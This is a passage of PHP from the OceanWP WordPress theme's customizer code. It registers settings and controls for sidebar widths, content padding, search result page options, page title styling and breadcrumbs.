'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_page_single_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_general_settings', 'settings' => 'ocean_page_single_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_page_single_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_page_single_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_page_single_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_general_settings', 'settings' => 'ocean_page_single_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_page_single_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_page_single_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_page_single_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_settings', 'settings' => 'ocean_page_single_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_page_single_rl_layout', ) ) ); /** * Content Padding */ $wp_customize->add_setting( 'ocean_page_content_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_page_content_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_page_content_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_page_content_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_page_content_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_page_content_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_page_content_padding', array( 'label' => esc_html__( 'Content Padding (px)', 'oceanwp' ), 'section' => 'ocean_general_settings', 'settings' => array( 'desktop_top' => 'ocean_page_content_top_padding', 'desktop_bottom' => 'ocean_page_content_bottom_padding', 'tablet_top' => 'ocean_page_content_tablet_top_padding', 'tablet_bottom' => 'ocean_page_content_tablet_bottom_padding', 'mobile_top' => 'ocean_page_content_mobile_top_padding', 'mobile_bottom' => 'ocean_page_content_mobile_bottom_padding', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 300, 'step' => 1, ), ) ) ); /** * Heading Search Result Page */ $wp_customize->add_setting( 'ocean_search_result_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_search_result_heading', array( 'label' => esc_html__( 'Search Result Page', 'oceanwp' ), 'section' => 'ocean_general_settings', 'priority' => 10, ) ) ); /** * Search Source */ $wp_customize->add_setting( 'ocean_menu_search_source', array( 'default' => 'any', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_menu_search_source', array( 'label' => esc_html__( 'Source', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_settings', 'settings' => 'ocean_menu_search_source', 'priority' => 10, 'choices' => $this->get_post_types(), ) ) ); /** * Search Posts Per Page */ $wp_customize->add_setting( 'ocean_search_post_per_page', array( 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_search_post_per_page', array( 'label' => esc_html__( 'Search Posts Per Page', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_general_settings', 'settings' => 'ocean_search_post_per_page', 'priority' => 10, 'input_attrs' => array( 'min' => 0, ), ) ) ); /** * Search Page */ $wp_customize->add_setting( 'ocean_search_custom_sidebar', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_search_custom_sidebar', array( 'label' => esc_html__( 'Custom Sidebar', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_general_settings', 'settings' => 'ocean_search_custom_sidebar', 'priority' => 10, ) ) ); /** * Search Page Layout */ $wp_customize->add_setting( 'ocean_search_layout', array( 'default' => 'right-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_search_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_general_settings', 'settings' => 'ocean_search_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Page Search Logo */ $wp_customize->add_setting( 'ocean_search_logo', array( 'default' => '', 'sanitize_callback' => 'oceanwp_sanitize_image', ) ); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'ocean_search_logo', array( 'label' => esc_html__( 'Search Logo', 'oceanwp' ), 'description' => esc_html__( 'Select a search page logo.', 'oceanwp' ), 'section' => 'ocean_general_settings', 'settings' => 'ocean_search_logo', 'priority' => 10, ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_search_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_search_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_settings', 'settings' => 'ocean_search_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_search_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_search_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_search_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_general_settings', 'settings' => 'ocean_search_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_search_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_search_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_search_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_general_settings', 'settings' => 'ocean_search_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_search_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_search_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_search_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_settings', 'settings' => 'ocean_search_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_search_rl_layout', ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_general_page_header', array( 'title' => esc_html__( 'Page Title', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Page Title Visibility */ $wp_customize->add_setting( 'ocean_page_header_visibility', array( 'default' => 'all-devices', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_page_header_visibility', array( 'label' => esc_html__( 'Visibility', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_visibility', 'priority' => 10, 'choices' => array( 'all-devices' => esc_html__( 'Show On All Devices', 'oceanwp' ), 'hide-tablet' => esc_html__( 'Hide On Tablet', 'oceanwp' ), 'hide-mobile' => esc_html__( 'Hide On Mobile', 'oceanwp' ), 'hide-tablet-mobile' => esc_html__( 'Hide On Tablet & Mobile', 'oceanwp' ), 'hide-all-devices' => esc_html__( 'Hide On All Devices', 'oceanwp' ), ), ) ) ); /** * Page Title Heading Tag */ $wp_customize->add_setting( 'ocean_page_header_heading_tag', array( 'default' => 'h1', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_page_header_heading_tag', array( 'label' => esc_html__( 'Heading Tag', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_heading_tag', 'priority' => 10, 'choices' => array( 'h1' => esc_html__( 'H1', 'oceanwp' ), 'h2' => esc_html__( 'H2', 'oceanwp' ), 'h3' => esc_html__( 'H3', 'oceanwp' ), 'h4' => esc_html__( 'H4', 'oceanwp' ), 'h5' => esc_html__( 'H5', 'oceanwp' ), 'h6' => esc_html__( 'H6', 'oceanwp' ), 'div' => esc_html__( 'div', 'oceanwp' ), 'span' => esc_html__( 'span', 'oceanwp' ), 'p' => esc_html__( 'p', 'oceanwp' ), ), ) ) ); /** * Page Title Style */ $wp_customize->add_setting( 'ocean_page_header_style', array( 'default' => '', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_page_header_style', array( 'label' => esc_html__( 'Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_style', 'priority' => 10, 'choices' => array( '' => esc_html__( 'Default', 'oceanwp' ), 'centered' => esc_html__( 'Centered', 'oceanwp' ), 'centered-minimal' => esc_html__( 'Centered Minimal', 'oceanwp' ), 'background-image' => esc_html__( 'Background Image', 'oceanwp' ), 'hidden' => esc_html__( 'Hidden', 'oceanwp' ), ), ) ) ); /** * Page Title Background Image */ $wp_customize->add_setting( 'ocean_page_header_bg_image', array( 'sanitize_callback' => 'oceanwp_sanitize_image', ) ); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'ocean_page_header_bg_image', array( 'label' => esc_html__( 'Image', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_bg_image', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_bg_image_page_header', ) ) ); /** * Page Title Background Image Title/Breadcrumb Position */ $wp_customize->add_setting( 'ocean_page_header_bg_title_breadcrumb_position', array( 'transport' => 'postMessage', 'default' => 'center', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_page_header_bg_title_breadcrumb_position', array( 'label' => esc_html__( 'Title/Breadcrumb Position', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_bg_title_breadcrumb_position', 'priority' => 10, 'choices' => array( 'left' => esc_html__( 'Left', 'oceanwp' ), 'center' => esc_html__( 'Center', 'oceanwp' ), 'right' => esc_html__( 'Right', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_bg_image_page_header', ) ) ); /** * Page Title Background Image Position */ $wp_customize->add_setting( 'ocean_page_header_bg_image_position', array( 'transport' => 'postMessage', 'default' => 'top center', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_page_header_bg_image_position', array( 'label' => esc_html__( 'Position', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_bg_image_position', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_bg_image_page_header', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'top left' => esc_html__( 'Top Left', 'oceanwp' ), 'top center' => esc_html__( 'Top Center', 'oceanwp' ), 'top right' => esc_html__( 'Top Right', 'oceanwp' ), 'center left' => esc_html__( 'Center Left', 'oceanwp' ), 'center center' => esc_html__( 'Center Center', 'oceanwp' ), 'center right' => esc_html__( 'Center Right', 'oceanwp' ), 'bottom left' => esc_html__( 'Bottom Left', 'oceanwp' ), 'bottom center' => esc_html__( 'Bottom Center', 'oceanwp' ), 'bottom right' => esc_html__( 'Bottom Right', 'oceanwp' ), ), ) ) ); /** * Page Title Background Image Attachment */ $wp_customize->add_setting( 'ocean_page_header_bg_image_attachment', array( 'transport' => 'postMessage', 'default' => 'initial', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_page_header_bg_image_attachment', array( 'label' => esc_html__( 'Attachment', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_bg_image_attachment', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_bg_image_page_header', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'scroll' => esc_html__( 'Scroll', 'oceanwp' ), 'fixed' => esc_html__( 'Fixed', 'oceanwp' ), ), ) ) ); /** * Page Title Background Image Repeat */ $wp_customize->add_setting( 'ocean_page_header_bg_image_repeat', array( 'transport' => 'postMessage', 'default' => 'no-repeat', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_page_header_bg_image_repeat', array( 'label' => esc_html__( 'Repeat', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_bg_image_repeat', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_bg_image_page_header', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'no-repeat' => esc_html__( 'No-repeat', 'oceanwp' ), 'repeat' => esc_html__( 'Repeat', 'oceanwp' ), 'repeat-x' => esc_html__( 'Repeat-x', 'oceanwp' ), 'repeat-y' => esc_html__( 'Repeat-y', 'oceanwp' ), ), ) ) ); /** * Page Title Background Image Size */ $wp_customize->add_setting( 'ocean_page_header_bg_image_size', array( 'transport' => 'postMessage', 'default' => 'cover', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_page_header_bg_image_size', array( 'label' => esc_html__( 'Size', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_bg_image_size', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_bg_image_page_header', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'auto' => esc_html__( 'Auto', 'oceanwp' ), 'cover' => esc_html__( 'Cover', 'oceanwp' ), 'contain' => esc_html__( 'Contain', 'oceanwp' ), ), ) ) ); /** * Page Title Background Image Height */ $wp_customize->add_setting( 'ocean_page_header_bg_image_height', array( 'transport' => 'postMessage', 'default' => '400', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_page_header_bg_image_height', array( 'label' => esc_html__( 'Height (px)', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_bg_image_height', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 800, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_bg_image_page_header', ) ) ); /** * Page Title Background Image Overlay Opacity */ $wp_customize->add_setting( 'ocean_page_header_bg_image_overlay_opacity', array( 'transport' => 'postMessage', 'default' => '0.5', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_page_header_bg_image_overlay_opacity', array( 'label' => esc_html__( 'Overlay Opacity', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_bg_image_overlay_opacity', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 1, 'step' => 0.1, ), 'active_callback' => 'oceanwp_cac_has_bg_image_page_header', ) ) ); /** * Page Title Background Image Overlay Color */ $wp_customize->add_setting( 'ocean_page_header_bg_image_overlay_color', array( 'transport' => 'postMessage', 'default' => '#000000', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_page_header_bg_image_overlay_color', array( 'label' => esc_html__( 'Overlay Color', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_bg_image_overlay_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_bg_image_page_header', ) ) ); /** * Page Title Padding */ $wp_customize->add_setting( 'ocean_page_header_top_padding', array( 'transport' => 'postMessage', 'default' => '34', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_page_header_bottom_padding', array( 'transport' => 'postMessage', 'default' => '34', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_page_header_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_page_header_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_page_header_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_page_header_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_page_header_padding', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => array( 'desktop_top' => 'ocean_page_header_top_padding', 'desktop_bottom' => 'ocean_page_header_bottom_padding', 'tablet_top' => 'ocean_page_header_tablet_top_padding', 'tablet_bottom' => 'ocean_page_header_tablet_bottom_padding', 'mobile_top' => 'ocean_page_header_mobile_top_padding', 'mobile_bottom' => 'ocean_page_header_mobile_bottom_padding', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 200, 'step' => 1, ), ) ) ); /** * Page Title Background Color */ $wp_customize->add_setting( 'ocean_page_header_background', array( 'transport' => 'postMessage', 'default' => '#f5f5f5', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_page_header_background', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_background', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_bg_image_page_header', ) ) ); /** * Page Title Color */ $wp_customize->add_setting( 'ocean_page_header_title_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_page_header_title_color', array( 'label' => esc_html__( 'Text Color', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_page_header_title_color', 'priority' => 10, ) ) ); /** * Breadcrumbs Heading */ $wp_customize->add_setting( 'ocean_breadcrumbs_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_breadcrumbs_heading', array( 'label' => esc_html__( 'Breadcrumbs', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'priority' => 10, ) ) ); /** * Breadcrumbs */ $wp_customize->add_setting( 'ocean_breadcrumbs', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_breadcrumbs', array( 'label' => esc_html__( 'Enable Breadcrumbs', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumbs', 'priority' => 10, ) ) ); /** * Breadcrumbs Item Title */ $wp_customize->add_setting( 'ocean_breadcrumb_show_title', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_breadcrumb_show_title', array( 'label' => esc_html__( 'Show Item Title', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumb_show_title', 'priority' => 10, ) ) ); /** * Breadcrumbs Position */ $wp_customize->add_setting( 'ocean_breadcrumbs_position', array( 'default' => '', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_breadcrumbs_position', array( 'label' => esc_html__( 'Position', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumbs_position', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_breadcrumbs', 'choices' => array( '' => esc_html__( 'Absolute Right', 'oceanwp' ), 'under-title' => esc_html__( 'Under Title', 'oceanwp' ), ), ) ) ); /** * Breadcrumb Separator */ $wp_customize->add_setting( 'ocean_breadcrumb_separator', array( 'transport' => 'postMessage', 'default' => '>', 'sanitize_callback' => 'wp_filter_nohtml_kses', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_breadcrumb_separator', array( 'label' => esc_html__( 'Breadcrumb Separator', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumb_separator', 'type' => 'text', 'priority' => 10, ) ) ); /** * Home Item */ $wp_customize->add_setting( 'ocean_breadcrumb_home_item', array( 'transport' => 'postMessage', 'default' => 'icon', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_breadcrumb_home_item', array( 'label' => esc_html__( 'Home Item', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumb_home_item', 'priority' => 10, 'choices' => array( 'icon' => esc_html__( 'Icon', 'oceanwp' ), 'text' => esc_html__( 'Text', 'oceanwp' ), ), ) ) ); /** * Translation for Homepage */ $wp_customize->add_setting( 'ocean_breadcrumb_translation_home', array( 'transport' => 'postMessage', 'default' => esc_html__( 'Home', 'oceanwp' ), 'sanitize_callback' => 'wp_filter_nohtml_kses', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_breadcrumb_translation_home', array( 'label' => esc_html__( 'Translation for Homepage', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumb_translation_home', 'type' => 'text', 'priority' => 10, ) ) ); /** * Translation for "404 Not Found" */ $wp_customize->add_setting( 'ocean_breadcrumb_translation_error', array( 'transport' => 'postMessage', 'default' => esc_html__( '404 Not Found', 'oceanwp' ), 'sanitize_callback' => 'wp_filter_nohtml_kses', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_breadcrumb_translation_error', array( 'label' => esc_html__( 'Translation for "404 Not Found"', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumb_translation_error', 'type' => 'text', 'priority' => 10, ) ) ); /** * Translation for "Search results for" */ $wp_customize->add_setting( 'ocean_breadcrumb_translation_search', array( 'transport' => 'postMessage', 'default' => esc_html__( 'Search results for', 'oceanwp' ), 'sanitize_callback' => 'wp_filter_nohtml_kses', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_breadcrumb_translation_search', array( 'label' => esc_html__( 'Translation for "Search results for"', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumb_translation_search', 'type' => 'text', 'priority' => 10, ) ) ); /** * Posts Taxonomy */ $wp_customize->add_setting( 'ocean_breadcrumb_posts_taxonomy', array( 'default' => 'category', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_breadcrumb_posts_taxonomy', array( 'label' => esc_html__( 'Posts Taxonomy', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumb_posts_taxonomy', 'priority' => 10, 'choices' => array( 'none' => esc_html__( 'None', 'oceanwp' ), 'category' => esc_html__( 'Category', 'oceanwp' ), 'post_tag' => esc_html__( 'Tag', 'oceanwp' ), 'blog' => esc_html__( 'Blog Page', 'oceanwp' ), ), ) ) ); /** * Products Taxonomy */ $wp_customize->add_setting( 'ocean_breadcrumb_products_taxonomy', array( 'default' => 'shop', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_breadcrumb_products_taxonomy', array( 'label' => esc_html__( 'Products Taxonomy', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumb_products_taxonomy', 'priority' => 10, 'choices' => array( 'none' => esc_html__( 'None', 'oceanwp' ), 'product_cat' => esc_html__( 'Category', 'oceanwp' ), 'product_tag' => esc_html__( 'Tag', 'oceanwp' ), 'shop' => esc_html__( 'Shop Page', 'oceanwp' ), ), ) ) ); // If Ocean Portfolio plugin is activated. if ( class_exists( 'Ocean_Portfolio' ) ) { /** * Portfolio Taxonomy */ $wp_customize->add_setting( 'ocean_breadcrumb_portfolio_taxonomy', array( 'default' => 'ocean_portfolio_category', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_breadcrumb_portfolio_taxonomy', array( 'label' => esc_html__( 'Portfolio Taxonomy', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumb_portfolio_taxonomy', 'priority' => 10, 'choices' => array( 'none' => esc_html__( 'None', 'oceanwp' ), 'ocean_portfolio_category' => esc_html__( 'Category', 'oceanwp' ), 'ocean_portfolio_tag' => esc_html__( 'Tag', 'oceanwp' ), 'portfolio' => esc_html__( 'Portfolio Page', 'oceanwp' ), ), ) ) ); } /** * Breadcrumbs Text Color */ $wp_customize->add_setting( 'ocean_breadcrumbs_text_color', array( 'transport' => 'postMessage', 'default' => '#c6c6c6', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_breadcrumbs_text_color', array( 'label' => esc_html__( 'Text Color', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumbs_text_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_breadcrumbs', ) ) ); /** * Breadcrumbs Separator Color */ $wp_customize->add_setting( 'ocean_breadcrumbs_seperator_color', array( 'transport' => 'postMessage', 'default' => '#c6c6c6', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_breadcrumbs_seperator_color', array( 'label' => esc_html__( 'Separator Color', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumbs_seperator_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_breadcrumbs', ) ) ); /** * Breadcrumbs Link Color */ $wp_customize->add_setting( 'ocean_breadcrumbs_link_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_breadcrumbs_link_color', array( 'label' => esc_html__( 'Link Color', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumbs_link_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_breadcrumbs', ) ) ); /** * Breadcrumbs Link Color */ $wp_customize->add_setting( 'ocean_breadcrumbs_link_color_hover', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_breadcrumbs_link_color_hover', array( 'label' => esc_html__( 'Link Color: Hover', 'oceanwp' ), 'section' => 'ocean_general_page_header', 'settings' => 'ocean_breadcrumbs_link_color_hover', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_breadcrumbs', ) 